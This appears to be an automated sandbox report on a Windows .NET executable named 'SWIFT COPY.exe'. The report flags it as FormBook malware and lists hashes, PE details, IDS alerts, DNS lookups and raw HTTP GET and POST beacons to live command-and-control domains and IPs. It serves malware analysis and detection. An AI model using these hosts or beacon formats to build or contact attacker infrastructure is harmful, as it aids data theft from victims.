Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Temp\40F193-3PQ

Download File

Process:	C:\Windows\SysWOW64\finger.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.678388051406651
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	SWIFT COPY.exe
File size:	986'112 bytes
MD5:	180a3e0827818592194c3a46dd8e9dd7
SHA1:	fa90e6b8c4a962d3cb324cf23afe68845d6e5013
SHA256:	b46e3f5fe8669966df0df40ef2ff40a1de2f8141da974f8058eb03c2897feacf
SHA512:	837d3a0481469d9a5b0774ff48678cbce3f57e0375a72682b3cdb3092726e28d75fa6ec15ef12994e95c8b51ac845c49eb40eb9489fa2d5eca8b3b1f798e2eb2
SSDEEP:	24576:tlAu2uO7lfceffJpwZs4U0IP6F4DB8lu2:tliu2l7BpeQ0x6E
TLSH:	6325D0C03B29770ECD6DA931C53ADC7862642E787005B9D3ADDA2B977ACD1129E0CF91
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....fbg..............0......2........... ........@.. .......................`............@................................

File Icon


Icon Hash:	674d797961216d59

Static PE Info

General

Entrypoint:	0x4ef78e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x67626619 [Wed Dec 18 06:05:13 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xef73c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf0000	0x2f48	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xf4000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xed794	0xed800	aa6f5b7315b3d49639bc743889b26e21	False	0.8716683799342105	data	7.67844699512359	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xf0000	0x2f48	0x3000	7ecf5514e07f31218a1d4a2a112742cb	False	0.9449055989583334	data	7.740984197030074	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xf4000	0xc	0x200	949d0b30def62e7a7870d9d588e57bab	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xf00e8	0x2bf4	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9942232492001422
RT_GROUP_ICON	0xf2cdc	0x14	data	1.05
RT_VERSION	0xf2cf0	0x258	data	0.49

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T08:39:48.421435+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49884	134.122.191.187	80	TCP
2024-12-19T08:39:48.421435+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49884	134.122.191.187	80	TCP
2024-12-19T08:40:53.098661+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49763	104.21.86.111	80	TCP
2024-12-19T08:40:53.098661+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49763	104.21.86.111	80	TCP
2024-12-19T08:41:18.792202+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49825	194.58.112.174	80	TCP
2024-12-19T08:41:21.459881+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49831	194.58.112.174	80	TCP
2024-12-19T08:41:24.187165+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49836	194.58.112.174	80	TCP
2024-12-19T08:41:26.835082+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49845	194.58.112.174	80	TCP
2024-12-19T08:41:26.835082+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49845	194.58.112.174	80	TCP
2024-12-19T08:41:34.452861+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49863	134.122.191.187	80	TCP
2024-12-19T08:41:37.124839+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49869	134.122.191.187	80	TCP
2024-12-19T08:41:39.796635+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49875	134.122.191.187	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 08:40:51.374372005 CET	49763	80	192.168.2.4	104.21.86.111
Dec 19, 2024 08:40:51.494568110 CET	80	49763	104.21.86.111	192.168.2.4
Dec 19, 2024 08:40:51.494659901 CET	49763	80	192.168.2.4	104.21.86.111
Dec 19, 2024 08:40:51.510485888 CET	49763	80	192.168.2.4	104.21.86.111
Dec 19, 2024 08:40:51.629972935 CET	80	49763	104.21.86.111	192.168.2.4
Dec 19, 2024 08:40:53.098361969 CET	80	49763	104.21.86.111	192.168.2.4
Dec 19, 2024 08:40:53.098515034 CET	80	49763	104.21.86.111	192.168.2.4
Dec 19, 2024 08:40:53.098660946 CET	49763	80	192.168.2.4	104.21.86.111
Dec 19, 2024 08:40:53.098805904 CET	80	49763	104.21.86.111	192.168.2.4
Dec 19, 2024 08:40:53.098853111 CET	49763	80	192.168.2.4	104.21.86.111
Dec 19, 2024 08:40:53.103151083 CET	49763	80	192.168.2.4	104.21.86.111
Dec 19, 2024 08:40:53.222549915 CET	80	49763	104.21.86.111	192.168.2.4
Dec 19, 2024 08:41:17.341029882 CET	49825	80	192.168.2.4	194.58.112.174
Dec 19, 2024 08:41:17.460757971 CET	80	49825	194.58.112.174	192.168.2.4
Dec 19, 2024 08:41:17.461064100 CET	49825	80	192.168.2.4	194.58.112.174
Dec 19, 2024 08:41:17.476660013 CET	49825	80	192.168.2.4	194.58.112.174
Dec 19, 2024 08:41:17.596195936 CET	80	49825	194.58.112.174	192.168.2.4
Dec 19, 2024 08:41:18.788994074 CET	80	49825	194.58.112.174	192.168.2.4
Dec 19, 2024 08:41:18.789129972 CET	80	49825	194.58.112.174	192.168.2.4
Dec 19, 2024 08:41:18.792201996 CET	49825	80	192.168.2.4	194.58.112.174
Dec 19, 2024 08:41:18.984168053 CET	49825	80	192.168.2.4	194.58.112.174
Dec 19, 2024 08:41:20.010313988 CET	49831	80	192.168.2.4	194.58.112.174
Dec 19, 2024 08:41:20.129898071 CET	80	49831	194.58.112.174	192.168.2.4
Dec 19, 2024 08:41:20.130177021 CET	49831	80	192.168.2.4	194.58.112.174
Dec 19, 2024 08:41:20.147219896 CET	49831	80	192.168.2.4	194.58.112.174
Dec 19, 2024 08:41:20.266788006 CET	80	49831	194.58.112.174	192.168.2.4
Dec 19, 2024 08:41:21.459768057 CET	80	49831	194.58.112.174	192.168.2.4
Dec 19, 2024 08:41:21.459788084 CET	80	49831	194.58.112.174	192.168.2.4
Dec 19, 2024 08:41:21.459881067 CET	49831	80	192.168.2.4	194.58.112.174
Dec 19, 2024 08:41:21.655962944 CET	49831	80	192.168.2.4	194.58.112.174
Dec 19, 2024 08:41:22.694830894 CET	49836	80	192.168.2.4	194.58.112.174
Dec 19, 2024 08:41:22.814306021 CET	80	49836	194.58.112.174	192.168.2.4
Dec 19, 2024 08:41:22.814460039 CET	49836	80	192.168.2.4	194.58.112.174
Dec 19, 2024 08:41:22.853152990 CET	49836	80	192.168.2.4	194.58.112.174
Dec 19, 2024 08:41:22.975292921 CET	80	49836	194.58.112.174	192.168.2.4
Dec 19, 2024 08:41:22.975383043 CET	80	49836	194.58.112.174	192.168.2.4
Dec 19, 2024 08:41:22.975411892 CET	80	49836	194.58.112.174	192.168.2.4
Dec 19, 2024 08:41:22.975439072 CET	80	49836	194.58.112.174	192.168.2.4
Dec 19, 2024 08:41:22.975466013 CET	80	49836	194.58.112.174	192.168.2.4
Dec 19, 2024 08:41:22.975492954 CET	80	49836	194.58.112.174	192.168.2.4
Dec 19, 2024 08:41:22.975522041 CET	80	49836	194.58.112.174	192.168.2.4
Dec 19, 2024 08:41:22.975549936 CET	80	49836	194.58.112.174	192.168.2.4
Dec 19, 2024 08:41:22.975578070 CET	80	49836	194.58.112.174	192.168.2.4
Dec 19, 2024 08:41:24.143435001 CET	80	49836	194.58.112.174	192.168.2.4
Dec 19, 2024 08:41:24.187165022 CET	49836	80	192.168.2.4	194.58.112.174
Dec 19, 2024 08:41:24.267527103 CET	80	49836	194.58.112.174	192.168.2.4
Dec 19, 2024 08:41:24.267652035 CET	49836	80	192.168.2.4	194.58.112.174
Dec 19, 2024 08:41:24.359199047 CET	49836	80	192.168.2.4	194.58.112.174
Dec 19, 2024 08:41:25.387603045 CET	49845	80	192.168.2.4	194.58.112.174
Dec 19, 2024 08:41:25.507344007 CET	80	49845	194.58.112.174	192.168.2.4
Dec 19, 2024 08:41:25.507489920 CET	49845	80	192.168.2.4	194.58.112.174
Dec 19, 2024 08:41:25.516135931 CET	49845	80	192.168.2.4	194.58.112.174
Dec 19, 2024 08:41:25.635684013 CET	80	49845	194.58.112.174	192.168.2.4
Dec 19, 2024 08:41:26.834894896 CET	80	49845	194.58.112.174	192.168.2.4
Dec 19, 2024 08:41:26.834966898 CET	80	49845	194.58.112.174	192.168.2.4
Dec 19, 2024 08:41:26.835082054 CET	49845	80	192.168.2.4	194.58.112.174
Dec 19, 2024 08:41:26.837935925 CET	49845	80	192.168.2.4	194.58.112.174
Dec 19, 2024 08:41:26.957442999 CET	80	49845	194.58.112.174	192.168.2.4
Dec 19, 2024 08:41:32.813184023 CET	49863	80	192.168.2.4	134.122.191.187
Dec 19, 2024 08:41:32.933458090 CET	80	49863	134.122.191.187	192.168.2.4
Dec 19, 2024 08:41:32.933592081 CET	49863	80	192.168.2.4	134.122.191.187
Dec 19, 2024 08:41:32.949417114 CET	49863	80	192.168.2.4	134.122.191.187
Dec 19, 2024 08:41:33.069348097 CET	80	49863	134.122.191.187	192.168.2.4
Dec 19, 2024 08:41:34.452861071 CET	49863	80	192.168.2.4	134.122.191.187
Dec 19, 2024 08:41:34.572592020 CET	80	49863	134.122.191.187	192.168.2.4
Dec 19, 2024 08:41:34.572788954 CET	49863	80	192.168.2.4	134.122.191.187
Dec 19, 2024 08:41:35.471915007 CET	49869	80	192.168.2.4	134.122.191.187
Dec 19, 2024 08:41:35.591428041 CET	80	49869	134.122.191.187	192.168.2.4
Dec 19, 2024 08:41:35.591646910 CET	49869	80	192.168.2.4	134.122.191.187
Dec 19, 2024 08:41:35.608900070 CET	49869	80	192.168.2.4	134.122.191.187
Dec 19, 2024 08:41:35.728521109 CET	80	49869	134.122.191.187	192.168.2.4
Dec 19, 2024 08:41:37.124839067 CET	49869	80	192.168.2.4	134.122.191.187
Dec 19, 2024 08:41:37.244903088 CET	80	49869	134.122.191.187	192.168.2.4
Dec 19, 2024 08:41:37.245093107 CET	49869	80	192.168.2.4	134.122.191.187
Dec 19, 2024 08:41:38.143699884 CET	49875	80	192.168.2.4	134.122.191.187
Dec 19, 2024 08:41:38.263395071 CET	80	49875	134.122.191.187	192.168.2.4
Dec 19, 2024 08:41:38.263534069 CET	49875	80	192.168.2.4	134.122.191.187
Dec 19, 2024 08:41:38.284279108 CET	49875	80	192.168.2.4	134.122.191.187
Dec 19, 2024 08:41:38.404069901 CET	80	49875	134.122.191.187	192.168.2.4
Dec 19, 2024 08:41:38.404110909 CET	80	49875	134.122.191.187	192.168.2.4
Dec 19, 2024 08:41:38.404165030 CET	80	49875	134.122.191.187	192.168.2.4
Dec 19, 2024 08:41:38.404194117 CET	80	49875	134.122.191.187	192.168.2.4
Dec 19, 2024 08:41:38.404264927 CET	80	49875	134.122.191.187	192.168.2.4
Dec 19, 2024 08:41:38.404314041 CET	80	49875	134.122.191.187	192.168.2.4
Dec 19, 2024 08:41:38.404459000 CET	80	49875	134.122.191.187	192.168.2.4
Dec 19, 2024 08:41:38.404525042 CET	80	49875	134.122.191.187	192.168.2.4
Dec 19, 2024 08:41:38.404577017 CET	80	49875	134.122.191.187	192.168.2.4
Dec 19, 2024 08:41:39.796634912 CET	49875	80	192.168.2.4	134.122.191.187
Dec 19, 2024 08:41:39.917196035 CET	80	49875	134.122.191.187	192.168.2.4
Dec 19, 2024 08:41:39.917285919 CET	49875	80	192.168.2.4	134.122.191.187
Dec 19, 2024 08:41:40.815253019 CET	49884	80	192.168.2.4	134.122.191.187
Dec 19, 2024 08:41:40.935174942 CET	80	49884	134.122.191.187	192.168.2.4
Dec 19, 2024 08:41:40.935257912 CET	49884	80	192.168.2.4	134.122.191.187
Dec 19, 2024 08:41:40.944854021 CET	49884	80	192.168.2.4	134.122.191.187
Dec 19, 2024 08:41:41.064352989 CET	80	49884	134.122.191.187	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 08:40:51.060406923 CET	60006	53	192.168.2.4	1.1.1.1
Dec 19, 2024 08:40:51.366868973 CET	53	60006	1.1.1.1	192.168.2.4
Dec 19, 2024 08:41:08.145827055 CET	51226	53	192.168.2.4	1.1.1.1
Dec 19, 2024 08:41:08.816263914 CET	53	51226	1.1.1.1	192.168.2.4
Dec 19, 2024 08:41:16.897948027 CET	56942	53	192.168.2.4	1.1.1.1
Dec 19, 2024 08:41:17.338335991 CET	53	56942	1.1.1.1	192.168.2.4
Dec 19, 2024 08:41:31.847620964 CET	53871	53	192.168.2.4	1.1.1.1
Dec 19, 2024 08:41:32.810414076 CET	53	53871	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 08:40:51.060406923 CET	192.168.2.4	1.1.1.1	0xcb4b	Standard query (0)	www.pbfgm.xyz	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:41:08.145827055 CET	192.168.2.4	1.1.1.1	0x1b01	Standard query (0)	www.phdcoach.pro	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:41:16.897948027 CET	192.168.2.4	1.1.1.1	0x55a3	Standard query (0)	www.elinor.club	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:41:31.847620964 CET	192.168.2.4	1.1.1.1	0x4265	Standard query (0)	www.smalleyes.icu	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 08:40:51.366868973 CET	1.1.1.1	192.168.2.4	0xcb4b	No error (0)	www.pbfgm.xyz		104.21.86.111	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:40:51.366868973 CET	1.1.1.1	192.168.2.4	0xcb4b	No error (0)	www.pbfgm.xyz		172.67.218.146	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:41:08.816263914 CET	1.1.1.1	192.168.2.4	0x1b01	Name error (3)	www.phdcoach.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:41:17.338335991 CET	1.1.1.1	192.168.2.4	0x55a3	No error (0)	www.elinor.club		194.58.112.174	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:41:32.810414076 CET	1.1.1.1	192.168.2.4	0x4265	No error (0)	www.smalleyes.icu		134.122.191.187	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.pbfgm.xyz

www.elinor.club

www.smalleyes.icu

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49763	104.21.86.111	80	6016	C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:40:51.510485888 CET	539	OUT	GET /fjd6/?Ir=beVfoldUF3/aok0FdWpvJC8HGsWBcAhapzZJ64FbAFAGDRV4pYz0MK1VY/vkdFXAOWskmP9Sk8tWhxHaAHTK2FUvh8SZisD6hpiODREZagit+S+U5/mb9Z4=&M8Gl=KPotmx2p0n HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.pbfgm.xyz Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG SM-N910T Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/2.0 Chrome/34.0.1847.76 Mobile Safari/537.36
Dec 19, 2024 08:40:53.098361969 CET	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 19 Dec 2024 07:40:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lPshYalhrtD9Y10kN9TS1MuLLXFbXNssi%2Bzcc2WGAEMAB8aplepjKd7Y%2BPmmZzy3ufoTrcjYhx1n0tEx9%2FLH3kLBFMi9CrejcvL4S8uOaj65j6HuXRYsd%2F5rzb%2BRU5L7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45bf3ba8c8ef9d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1793&min_rtt=1793&rtt_var=896&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=539&delivery_rate=0&cwnd=119&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 32 38 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c [TRUNCATED] Data Ascii: 228<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome frien
Dec 19, 2024 08:40:53.098515034 CET	94	IN	Data Raw: 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 Data Ascii: dly error page -->... a padding to disable MSIE and Chrome friendly error page -->0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49825	194.58.112.174	80	6016	C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:41:17.476660013 CET	803	OUT	POST /1ne4/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.elinor.club Origin: http://www.elinor.club Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 199 Cache-Control: no-cache Referer: http://www.elinor.club/1ne4/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG SM-N910T Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/2.0 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 49 72 3d 61 6b 33 62 41 61 73 75 7a 51 54 78 45 6c 6f 4e 72 75 42 61 4e 34 45 4c 5a 66 67 7a 54 37 64 35 67 46 39 47 31 79 49 51 38 65 5a 49 43 4b 58 41 76 68 61 4e 31 44 4d 56 4c 65 35 57 4b 56 51 56 49 49 6f 63 5a 53 4e 57 30 56 41 76 72 32 2b 6e 35 6a 6c 70 78 42 5a 72 6e 71 2b 77 2b 54 4c 6c 31 45 43 79 4a 4b 57 5a 2b 35 30 49 47 43 61 72 58 45 39 44 37 36 37 45 4d 55 37 47 52 58 32 74 42 33 48 6b 4b 51 55 50 65 48 45 64 49 38 43 57 6b 56 4e 63 37 4d 4e 77 70 73 5a 49 45 45 49 58 4f 4e 47 4b 57 68 6b 75 62 4e 53 69 52 47 78 58 57 2f 35 4a 73 55 6e 6f 47 62 77 54 2b 4a 64 4b 42 77 3d 3d Data Ascii: Ir=ak3bAasuzQTxEloNruBaN4ELZfgzT7d5gF9G1yIQ8eZICKXAvhaN1DMVLe5WKVQVIIocZSNW0VAvr2+n5jlpxBZrnq+w+TLl1ECyJKWZ+50IGCarXE9D767EMU7GRX2tB3HkKQUPeHEdI8CWkVNc7MNwpsZIEEIXONGKWhkubNSiRGxXW/5JsUnoGbwT+JdKBw==
